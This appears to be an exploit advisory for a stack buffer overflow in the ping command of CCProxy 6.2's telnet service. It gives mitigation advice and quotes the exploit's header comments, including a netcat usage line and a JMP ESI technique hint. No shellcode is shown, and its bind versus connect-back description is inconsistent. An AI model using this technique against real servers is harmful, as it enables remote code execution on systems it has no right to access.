CCProxy 6.2 ping Remote Buffer Overflow Exploit

Based on Ruder's discovery, this exploit allows an attacker to execute arbitrary code by sending a long parameter to the ping command in the telnet service of CCProxy server. The vulnerability is a stack-based overflow. The exploit uses a shellcode that binds to port 101 and connects back to the attacker using netcat. This exploit has been tested on Windows XP SP1 English.

Mitigation:

The vendor should release a patch to fix the buffer overflow vulnerability. Users should update to the latest version of CCProxy.

# Usage:exploit.py|nc Host port,where port is the telnet service of the target
# The buG exists when a long parameter is passed to ping command in telnet
# service of CCproxy server.This is a classic stack based overflow.Ret address
# is close to ESI,so a JMP ESI will do the trick.Other nops are just for padding...
